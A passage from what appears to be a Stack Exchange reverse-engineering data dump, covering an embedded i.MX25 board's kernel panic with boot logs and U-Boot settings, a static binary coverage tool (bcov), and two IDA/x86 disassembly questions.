hash table entries: 256 (order: 8, 1024 bytes)&#xA;Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)&#xA;Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)&#xA;Memory: 64MB = 64MB total&#xA;Memory: 59916KB available (4264K code, 484K data, 124K init, 0K highmem)&#xA;NR_IRQS:272&#xA;MXC IRQ initialized&#xA;Clock input source is 24000000&#xA;Console: colour dummy device 80x30&#xA;Calibrating delay loop... 199.06 BogoMIPS (lpj=995328)&#xA;Mount-cache hash table entries: 512&#xA;CPU: Testing write buffer coherency: ok&#xA;regulator: core version 0.5&#xA;NET: Registered protocol family 16&#xA;AIPS1 VA base: 0xfc000000&#xA;CPU is i.MX25 Revision 1.0&#xA;MXC GPIO hardware&#xA;rate 22166666&#xA;Using SDMA I.API&#xA;MXC DMA API initialized&#xA;bio: create slab &amp;lt;bio-0&amp;gt; at 0&#xA;SCSI subsystem initialized&#xA;usbcore: registered new interface driver usbfs&#xA;usbcore: registered new interface driver hub&#xA;usbcore: registered new device driver usb&#xA;MXC I2C driver&#xA;i2c-adapter i2c-0: ACK not received &#xA;NET: Registered protocol family 2&#xA;IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&#xA;TCP established hash table entries: 2048 (order: 2, 16384 bytes)&#xA;TCP bind hash table entries: 2048 (order: 1, 8192 bytes)&#xA;TCP: Hash tables configured (established 2048 bind 2048)&#xA;TCP reno registered&#xA;NET: Registered protocol family 1&#xA;Bus freq driver module loaded&#xA;usb: Host 2 host (serial) registered&#xA;usb: DR host (utmi) registered&#xA;JFFS2 version 2.2. (NAND) (SUMMARY)  © 2001-2006 Red Hat, Inc.&#xA;SGI XFS with security attributes, large block/inode numbers, no debug enabled&#xA;msgmni has been set to 117&#xA;alg: No test for stdrng (krng)&#xA;io scheduler noop registered&#xA;io scheduler anticipatory registered&#xA;io scheduler deadline registered&#xA;io scheduler cfq registered (default)&#xA;MXC Backlight Device mxc_lcdc_bl.0 Initialized.&#xA;Console: switching to colour frame buffer device 40x30&#xA;mxc_sdc_fb mxc_sdc_fb.0: fb0: DISP0 BG fb device registered successfully.&#xA;mxc_sdc_fb mxc_sdc_fb.0: fb1: DISP0 FG fb device registered successfully.&#xA;Serial: MXC Internal UART driver&#xA;mxcintuart.0: ttymxc0 at MMIO 0x43f90000 (irq = 45) is a Freescale i.MX&#xA;console [ttymxc0] enabled&#xA;mxcintuart.1: ttymxc1 at MMIO 0x43f94000 (irq = 32) is a Freescale i.MX&#xA;mxcintuart.2: ttymxc2 at MMIO 0x5000c000 (irq = 18) is a Freescale i.MX&#xA;brd: module loaded&#xA;loop: module loaded&#xA;Freescale FlexCAN Driver &#xA;FEC Ethernet Driver&#xA;fec_enet_mii_bus: probed&#xA;IEEE1588: ptp-timer is unavailable&#xA;console [netcon0] enabled&#xA;netconsole: network logging started&#xA;MXC MTD nand Driver 2.5&#xA;NAND device: Manufacturer ID: 0x20, Chip ID: 0xaa (ST Micro NAND 256MiB 1,8V 8-bit)&#xA;Searching for RedBoot partition table in NAND 256MiB 1,8V 8-bit at offset 0xff60000&#xA;No RedBoot partition table detected in NAND 256MiB 1,8V 8-bit&#xA;Creating 5 MTD partitions on &amp;quot;NAND 256MiB 1,8V 8-bit&amp;quot;:&#xA;0x000000000000-0x000000100000 : &amp;quot;nand.bootloader&amp;quot;&#xA;0x000000100000-0x000000400000 : &amp;quot;nand.kernel&amp;quot;&#xA;0x000000400000-0x00000fc00000 : &amp;quot;nand.rootfs&amp;quot;&#xA;0x00000fc00000-0x00000fd00000 : &amp;quot;nand.configure&amp;quot;&#xA;0x00000fd00000-0x000010000000 : &amp;quot;nand.userfs&amp;quot;&#xA;ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver&#xA;fsl-ehci fsl-ehci.0: Freescale On-Chip EHCI Host Controller&#xA;fsl-ehci fsl-ehci.0: new USB bus registered, assigned bus number 1&#xA;fsl-ehci fsl-ehci.0: irq 35, io base 0x53ff4400&#xA;fsl-ehci fsl-ehci.0: USB 2.0 started, EHCI 1.00&#xA;usb usb1: configuration #1 chosen from 1 choice&#xA;hub 1-0:1.0: USB hub found&#xA;hub 1-0:1.0: 1 port detected&#xA;fsl-ehci fsl-ehci.1: Freescale On-Chip EHCI Host Controller&#xA;fsl-ehci fsl-ehci.1: new USB bus registered, assigned bus number 2&#xA;fsl-ehci fsl-ehci.1: irq 37, io base 0x53ff4000&#xA;fsl-ehci fsl-ehci.1: USB 2.0 started, EHCI 1.00&#xA;usb usb2: configuration #1 chosen from 1 choice&#xA;hub 2-0:1.0: USB hub found&#xA;hub 2-0:1.0: 1 port detected&#xA;Initializing USB Mass Storage driver...&#xA;usbcore: registered new interface driver usb-storage&#xA;USB Mass Storage support registered.&#xA;mice: PS/2 mouse device common for all mice&#xA;i.MX ADC at 0x50030000 irq 46&#xA;sdhci: Secure Digital Host Controller Interface driver&#xA;sdhci: Copyright(c) Pierre Ossman&#xA;mxsdhci: MXC Secure Digital Host Controller Interface driver&#xA;mxsdhci: MXC SDHCI Controller Driver. &#xA;mmc0: SDHCI detect irq 161 irq 9 INTERNAL DMA&#xA;Advanced Linux Sound Architecture Driver Version 1.0.20.&#xA;regulator: Unable to get requested regulator: VDDIO&#xA;regulator: Unable to get requested regulator: VDDA&#xA;regulator: Unable to get requested regulator: VDDD&#xA;sgtl5000-i2c 0-000a: SGTL5000 revision 17&#xA;No device for DAI imx-ssi-1-0&#xA;No device for DAI imx-ssi-1-1&#xA;No device for DAI imx-ssi-2-0&#xA;No device for DAI imx-ssi-2-1&#xA;DMA Sound Buffers Allocated:UseIram=0 buf-&amp;gt;addr=83ab0000 buf-&amp;gt;area=fde56000 size=65536&#xA;DMA Sound Buffers Allocated:UseIram=0 buf-&amp;gt;addr=83ac0000 buf-&amp;gt;area=fde66000 size=65536&#xA;asoc: SGTL5000 &amp;lt;-&amp;gt; imx-ssi-1-0 mapping ok&#xA;ALSA device list:&#xA;    #0: imx-3stack (SGTL5000)&#xA;oprofile: using timer interrupt.&#xA;TCP cubic registered&#xA;NET: Registered protocol family 17&#xA;can: controller area network core (rev 20090105 abi 8)&#xA;NET: Registered protocol family 29&#xA;can: raw protocol (rev 20090105)&#xA;RPC: Registered udp transport module.&#xA;RPC: Registered tcp transport module.&#xA;Static Power Management for Freescale i.MX25&#xA;on-off key pressed&#xA;input: imx_adc_ts as /class/input/input0&#xA;i.MX ADC input touchscreen loaded.&#xA;JFFS2 doesn't use OOB.&#xA;VFS: Mounted root (jffs2 filesystem) on device 31:2.&#xA;Freeing init memory: 124K&#xA;&#xA;init started: BusyBox v1.15.3 (2011-09-27 21:22:33 CEST)&#xA;starting pid 898, tty '': '/etc/init.d/rcS'&#xA;Initializing mdev dynamic device directory ... done&#xA;eth0: Freescale FEC PHY driver [Generic PHY] (mii_bus:phy_addr=0:00, irq=-1)&#xA;&#xA;can0 bitrate: 175000&#xA;dropbear already configured&#xA;Starting Dropbear SSH server: dropbear.&#xA;ts already configured&#xA;&#xA;starting pid 939, tty '/dev/ttymxc0': '-/bin/sh'&#xA;&#xA;BusyBox v1.15.3 (2011-09-27 21:22:33 CEST) built-in shell (ash)&#xA;Enter 'help' for a list of built-in commands.&#xA;&#xA;/ # &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;NEW BOARD BOOT:&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;U-Boot 2009.01-dirty (Nov 15 2013 - 17:55:59)&#xA;CPU:   Freescale i.MX25 at 398 MHz&#xA;Board: GEA_M6425 &#xA;I2C:   ready&#xA;DRAM:  64 MB&#xA;NAND:  Bad block table not found for chip 0&#xA;Bad block table not found for chip 0&#xA;Bad block table written to 0x0ffe0000, version 0x01&#xA;Bad block table written to 0x0ffc0000, version 0x01&#xA;256 MiB&#xA;Use default panel_info values&#xA;In:    serial&#xA;Out:   serial&#xA;Err:   serial&#xA;i2c_addr:chip address cycle fail(a1)&#xA;Net:   FEC0&#xA;Version: &#xA;Note:    &#xA;Hit any key to stop autoboot:  3  2  1  0 &#xA;NAND read: device 0 offset 0x100000, size 0x300000&#xA;    3145728 bytes read: OK&#xA;## Booting kernel from Legacy Image at 81000000 ...&#xA;    Image Name:   Linux-2.6.31-rc9&#xA;    Image Type:   ARM Linux Kernel Image (uncompressed)&#xA;    Data Size:    2318824 Bytes =  2.2 MB&#xA;    Load Address: 80008000&#xA;    Entry Point:  80008000&#xA;    Verifying Checksum ... OK&#xA;    Loading Kernel Image ... OK&#xA;OK&#xA;Starting kernel ...&#xA;Uncompressing Linux....................................................................................................................................................... done, booting the kernel.&#xA;Linux version 2.6.31-rc9 (user@evelin) (gcc version 4.1.2) #1 PREEMPT Tue Sep 27 21:35:47 CEST 2011&#xA;CPU: ARM926EJ-S [41069264] revision 4 (ARMv5TEJ), cr=00053177&#xA;CPU: VIVT data cache, VIVT instruction cache&#xA;Machine: Freescale MX25 3-Stack Board&#xA;Ignoring unrecognised tag 0x54410008&#xA;Memory policy: ECC disabled, Data cache writeback&#xA;Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&#xA;Kernel command line: console=ttymxc0,115200 root=/dev/mtdblock2 rootfstype=jffs2 video=mxcfb:800x480,16bpp,Amp-WD&#xA;PID hash table entries: 256 (order: 8, 1024 bytes)&#xA;Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)&#xA;Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)&#xA;Memory: 64MB = 64MB total&#xA;Memory: 59916KB available (4264K code, 484K data, 124K init, 0K highmem)&#xA;NR_IRQS:272&#xA;MXC IRQ initialized&#xA;Clock input source is 24000000&#xA;Console: colour dummy device 80x30&#xA;Calibrating delay loop... 199.06 BogoMIPS (lpj=995328)&#xA;Mount-cache hash table entries: 512&#xA;CPU: Testing write buffer coherency: ok&#xA;regulator: core version 0.5&#xA;NET: Registered protocol family 16&#xA;AIPS1 VA base: 0xfc000000&#xA;CPU is i.MX25 Revision 1.0&#xA;MXC GPIO hardware&#xA;rate 22166666&#xA;Using SDMA I.API&#xA;MXC DMA API initialized&#xA;bio: create slab &amp;lt;bio-0&amp;gt; at 0&#xA;SCSI subsystem initialized&#xA;usbcore: registered new interface driver usbfs&#xA;usbcore: registered new interface driver hub&#xA;usbcore: registered new device driver usb&#xA;MXC I2C driver&#xA;i2c-adapter i2c-0: ACK not received &#xA;NET: Registered protocol family 2&#xA;IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&#xA;TCP established hash table entries: 2048 (order: 2, 16384 bytes)&#xA;TCP bind hash table entries: 2048 (order: 1, 8192 bytes)&#xA;TCP: Hash tables configured (established 2048 bind 2048)&#xA;TCP reno registered&#xA;NET: Registered protocol family 1&#xA;Bus freq driver module loaded&#xA;usb: Host 2 host (serial) registered&#xA;usb: DR host (utmi) registered&#xA;JFFS2 version 2.2. (NAND) (SUMMARY)  © 2001-2006 Red Hat, Inc.&#xA;SGI XFS with security attributes, large block/inode numbers, no debug enabled&#xA;msgmni has been set to 117&#xA;alg: No test for stdrng (krng)&#xA;io scheduler noop registered&#xA;io scheduler anticipatory registered&#xA;io scheduler deadline registered&#xA;io scheduler cfq registered (default)&#xA;MXC Backlight Device mxc_lcdc_bl.0 Initialized.&#xA;Console: switching to colour frame buffer device 100x30&#xA;mxc_sdc_fb mxc_sdc_fb.0: fb0: DISP0 BG fb device registered successfully.&#xA;mxc_sdc_fb mxc_sdc_fb.0: fb1: DISP0 FG fb device registered successfully.&#xA;Serial: MXC Internal UART driver&#xA;mxcintuart.0: ttymxc0 at MMIO 0x43f90000 (irq = 45) is a Freescale i.MX&#xA;console [ttymxc0] enabled&#xA;mxcintuart.1: ttymxc1 at MMIO 0x43f94000 (irq = 32) is a Freescale i.MX&#xA;mxcintuart.2: ttymxc2 at MMIO 0x5000c000 (irq = 18) is a Freescale i.MX&#xA;brd: module loaded&#xA;loop: module loaded&#xA;Freescale FlexCAN Driver &#xA;FEC Ethernet Driver&#xA;fec_enet_mii_bus: probed&#xA;IEEE1588: ptp-timer is unavailable&#xA;console [netcon0] enabled&#xA;netconsole: network logging started&#xA;MXC MTD nand Driver 2.5&#xA;NAND device: Manufacturer ID: 0x2c, Chip ID: 0xaa (Micron NAND 256MiB 1,8V 8-bit)&#xA;Unrecognized NAND Flash device.&#xA;ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver&#xA;fsl-ehci fsl-ehci.0: Freescale On-Chip EHCI Host Controller&#xA;fsl-ehci fsl-ehci.0: new USB bus registered, assigned bus number 1&#xA;fsl-ehci fsl-ehci.0: irq 35, io base 0x53ff4400&#xA;fsl-ehci fsl-ehci.0: USB 2.0 started, EHCI 1.00&#xA;usb usb1: configuration #1 chosen from 1 choice&#xA;hub 1-0:1.0: USB hub found&#xA;hub 1-0:1.0: 1 port detected&#xA;fsl-ehci fsl-ehci.1: Freescale On-Chip EHCI Host Controller&#xA;fsl-ehci fsl-ehci.1: new USB bus registered, assigned bus number 2&#xA;fsl-ehci fsl-ehci.1: irq 37, io base 0x53ff4000&#xA;fsl-ehci fsl-ehci.1: USB 2.0 started, EHCI 1.00&#xA;usb usb2: configuration #1 chosen from 1 choice&#xA;hub 2-0:1.0: USB hub found&#xA;hub 2-0:1.0: 1 port detected&#xA;Initializing USB Mass Storage driver...&#xA;usbcore: registered new interface driver usb-storage&#xA;USB Mass Storage support registered.&#xA;mice: PS/2 mouse device common for all mice&#xA;i.MX ADC at 0x50030000 irq 46&#xA;sdhci: Secure Digital Host Controller Interface driver&#xA;sdhci: Copyright(c) Pierre Ossman&#xA;mxsdhci: MXC Secure Digital Host Controller Interface driver&#xA;mxsdhci: MXC SDHCI Controller Driver. &#xA;mmc0: SDHCI detect irq 161 irq 9 INTERNAL DMA&#xA;Advanced Linux Sound Architecture Driver Version 1.0.20.&#xA;regulator: Unable to get requested regulator: VDDIO&#xA;regulator: Unable to get requested regulator: VDDA&#xA;regulator: Unable to get requested regulator: VDDD&#xA;sgtl5000-i2c 0-000a: SGTL5000 revision 17&#xA;No device for DAI imx-ssi-1-0&#xA;No device for DAI imx-ssi-1-1&#xA;No device for DAI imx-ssi-2-0&#xA;No device for DAI imx-ssi-2-1&#xA;DMA Sound Buffers Allocated:UseIram=0 buf-&amp;gt;addr=83a90000 buf-&amp;gt;area=fdf82000 size=65536&#xA;DMA Sound Buffers Allocated:UseIram=0 buf-&amp;gt;addr=83aa0000 buf-&amp;gt;area=fdf92000 size=65536&#xA;asoc: SGTL5000 &amp;lt;-&amp;gt; imx-ssi-1-0 mapping ok&#xA;ALSA device list:&#xA;    #0: imx-3stack (SGTL5000)&#xA;oprofile: using timer interrupt.&#xA;TCP cubic registered&#xA;NET: Registered protocol family 17&#xA;can: controller area network core (rev 20090105 abi 8)&#xA;NET: Registered protocol family 29&#xA;can: raw protocol (rev 20090105)&#xA;RPC: Registered udp transport module.&#xA;RPC: Registered tcp transport module.&#xA;Static Power Management for Freescale i.MX25&#xA;on-off key pressed&#xA;input: imx_adc_ts as /class/input/input0&#xA;i.MX ADC input touchscreen loaded.&#xA;Root-NFS: No NFS server available, giving up.&#xA;VFS: Unable to mount root fs via NFS, trying floppy.&#xA;List of all partitions:&#xA;No filesystem could mount root, tried:  jffs2&#xA;Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(2,0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can you help me to understand the problem?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;These are the output of file command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;nand_bootloader_0x0000000-0x00FFFFF.bin: FoxPro FPT, blocks size 0, next free block index 1778450666&#xA;&#xA;nand_kernel_0x0100000-0x03FFFFF.bin: u-boot legacy uImage, Linux-2.6.31-rc9, Linux/ARM, OS Kernel Image (Not compressed), 2318824 bytes, Tue Sep 27 21:36:01 2011, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0x230C882F, Data CRC: 0xCD73A8A7&#xA;&#xA;nand_rootfs_1_0x0400000-0x06FFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377&#xA;&#xA;&#xA;nand_rootfs_2_0x0700000-0x09FFFFF.bin: Linux jffs2 filesystem data little endian&#xA;&#xA;nand_rootfs_3_0x0A00000-0x0EFFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377&#xA;&#xA;nand_rootfs_4_0x0F00000-0x13FFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377&#xA;&#xA;nand_rootfs_5_0x1400000-0x18FFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377&#xA;&#xA;nand_rootfs_6_0x1900000-0x1DFFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377&#xA;&#xA;&#xA;nand_rootfs_7_0x1E00000-0x22FFFFF.bin: Linux jffs2 filesystem data little endia&#xA;&#xA;nand_configure_0xFC00000-0xFCFFFFF.bin: u-boot legacy uImage, Linux-2.6.31-rc9-gec38174-dirty, Linux/ARM, OS Kernel Image (Not compressed), 2321092 bytes, Fri Oct  8 23:26:48 2010, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0xE1994975, Data CRC: 0x55F17506&#xA;&#xA;nand_userfs_0xFD00000-0xFFFFFFF.bin: data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(rootfs is split into 7 files).&lt;/p&gt;&#xA;&lt;p&gt;UPDATES:&lt;/p&gt;&#xA;&lt;p&gt;Hi, I made a contiguous file with your command. Now I set the NFS server on my linux PC (in &lt;code&gt;/etc/exports&lt;/code&gt; file I put the string &lt;code&gt;/srv myip/my mask(rw,sync,no_subtree_check,no_root_squash&lt;/code&gt;) and save. I put the &lt;code&gt;nand_rootfs.bin&lt;/code&gt; file in folder &lt;code&gt;/srv&lt;/code&gt; and after i tried to setup UBOOT in my board. This is the &lt;code&gt;printenv&lt;/code&gt; command of my Uboot:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bootdelay=3&#xA;baudrate=115200&#xA;loadaddr=0x81000000&#xA;netdev=eth0&#xA;ethprime=fec&#xA;bootargs_nand=console=ttymxc0,115200 root=/dev/mtdblock2 rootfstype=jffs2 video=&#xA;mxcfb:320x240,16bpp,Var-QVGA&#xA;bootcmd_nand=nand read 81000000 100000 300000; bootm 81000000&#xA;bootcmd_tftp=tftp uImage; bootm&#xA;mirror_update=enable&#xA;tftp_timeout=6000&#xA;tftp_retry=20&#xA;checksum_control=false&#xA;ethact=FEC0&#xA;filesize=27B84&#xA;fileaddr=80800000&#xA;offset=80000&#xA;GEA_SN=A54673&#xA;fec_addr=9C:53:CD:05:5E:C2&#xA;fecaddr=9C:53:CD:05:5E:C2&#xA;ethaddr=9C:53:CD:05:5E:C2&#xA;splashload=nand read 80800000 c0000 40000&#xA;splashimage=80800000&#xA;lcd_name=Var-QVGA&#xA;splashpos=0,0&#xA;bootcmd=run bootcmd_nand&#xA;bootargs=console=ttymxc0,115200 root=/dev/mtdblock2 rw rootfstype=jff2 video=mxcfb:320x240,16bpp,Var-QVGA mtdparts=nand:1M(nand.bootloader),3M(nand.kernel),-(rootfs)&#xA;ipaddr=192.168.11.60&#xA;serverip=192.168.11.64&#xA;bootargs_nfs=console=ttymxc0,115200 root=/dev/nfs rw ip=$(ipaddr) nfsroot=$(serverip):/srv/nand_rootfs.bin rootfstype=jff2 video=mxcfb:320x240,16bpp,Var-QVGA&#xA;&#xA;Environment size: 991/262140 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I run the command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;run bootargs_nfs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Unknown command 'console=ttymxc0,115200' - try 'help'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is this procedure correct ? I modify the &lt;code&gt;bootargs_nfs&lt;/code&gt; with command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;setenv 'bootargs_nfs console=ttymxc0,115200 root=/dev/nfs rw ip=$(ipaddr) nfsroot=$(serverip):/srv/nand_rootfs.bin rootfstype=jff2 video=mxcfb:320x240,16bpp,Var-QVGA'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33347" LastEditorUserId="245" LastEditDate="2020-06-26T09:55:59.020" LastActivityDate="2020-06-26T09:55:59.020" Title="Linux Embedded board - Kernel Panic problems" Tags="|firmware|linux|embedded|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25133" PostTypeId="2" ParentId="4678" CreationDate="2020-05-27T09:20:04.023" Score="2" Body="&lt;p&gt;Binary-level code coverage analysis can be done either statically or dynamically. Static instrumentation can, among other things, offer drastic performance improvements over dynamic tools like Pin. However, it is considered, somewhat traditionally, to be brittle, i.e., it breaks binaries. For example, see the last note on static rewriting in &lt;a href=&quot;https://github.com/google/AFL/blob/master/qemu_mode/README.qemu&quot; rel=&quot;nofollow noreferrer&quot;&gt;afl-qemu&lt;/a&gt;. Hence, dynamic coverage analysis tools like DynamoRIO's &lt;code&gt;drcov&lt;/code&gt; are more popular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, this &lt;a href=&quot;https://arxiv.org/pdf/2004.14191.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;paper&lt;/a&gt; (disclosure: first author here), describes &lt;code&gt;bcov&lt;/code&gt;, a tool which was able of leveraging static instrumentation while achieving at the same time better transparency in comparison to the popular DBI tools Pin and DynamoRIO. However, this work required an orchestrated effort which combined:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Probe pruning. Leveraged dominance analysis in order to prune basic blocks that do not offer additional coverage information. This can cut the number of required probes down to 46% of the total number of basic blocks.&lt;/li&gt;&#xA;&lt;li&gt;Precise jump table analysis. Imprecision in the recovered control flow graph can cause the instrumented binaries to break. Therefore, recovering the targets of indirect jumps was necessary. This in turn enables the instrumentation of jump table entries.&lt;/li&gt;&#xA;&lt;li&gt;Various static instrumentation tricks. Aggressive overwriting of padding bytes and hosting detours in neighboring basic blocks.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The tool &lt;code&gt;bcov&lt;/code&gt; supports x86-64 ELF binaries. It can dump a single coverage file at process shutdown. This file contains a static array of booleans indicating the coverage of individual basic blocks. This means that merging (or diffing) coverage data of multiple tests can be done using simple boolean operations on the files themselves without the need to first post-process the data files. This feature  improves the efficiency of the fuzzing workflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source code of &lt;code&gt;bcov&lt;/code&gt; is now &lt;a href=&quot;https://github.com/abenkhadra/bcov&quot; rel=&quot;nofollow noreferrer&quot;&gt;available&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11828" LastEditorUserId="11828" LastEditDate="2020-06-04T10:20:22.540" LastActivityDate="2020-06-04T10:20:22.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25134" PostTypeId="1" CreationDate="2020-05-27T21:24:09.140" Score="1" ViewCount="223" Body="&lt;p&gt;I tried to fix the size of both the &lt;em&gt;saved registers&lt;/em&gt; and the &lt;em&gt;local variable area&lt;/em&gt; using IDA's &quot;Edit function&quot; option as IDA could not recognize it properly by itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Unedited function:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XnBPo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XnBPo.png&quot; alt=&quot;Unedited function (no red marks)&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bq42B.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bq42B.png&quot; alt=&quot;Wrong sizes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Corrected function:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lE9Tx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lE9Tx.png&quot; alt=&quot;Edited function (red marks)&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/H5IGo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H5IGo.png&quot; alt=&quot;Correct sizes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see anything wrong with &lt;code&gt;[rsp+20h]&lt;/code&gt; as it points into the fixed allocation of 0x48 bytes.&#xA;So what does that red mark indicate and what causes it?&lt;/p&gt;&#xA;" OwnerUserId="33355" LastActivityDate="2020-05-27T21:24:09.140" Title="IDA 7.0: Why does editing this function result in red-marked stack-pointer offsets?" Tags="|ida|disassembly|stack-variables|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25136" PostTypeId="1" AcceptedAnswerId="25141" CreationDate="2020-05-28T09:25:52.890" Score="2" ViewCount="116" Body="&lt;p&gt;While reversing some &lt;code&gt;x86&lt;/code&gt; executables, I came across a pattern of addressing globals, that I don't familiar with, but it looks like IDA is, and I would like to know more about it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00002560             public start&#xA;.text:00002560             start proc near&#xA;.text:00002560 mov     ebx, [esp+0]&#xA;.text:00002563 ret          &#xA;&#xA;.text:0001D233 push    ebx&#xA;.text:0001D234 call    start ; ebx is initialized here &#xA;.text:0001D239 add     ebx, 1805Bh &#xA;&#xA;.text:0001D25A lea     edi, (aLsi_0 - 35294h)[ebx] ; &quot;lsi&quot; &amp;lt;---- Ida recognizes here an access to global string.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I saw this pattern in many different binaries. Does anyone know what is the name of this kind of access and where can I read more about it?&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-05-28T12:10:36.860" Title="X86 access to global strings pattern" Tags="|ida|disassembly|x86|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
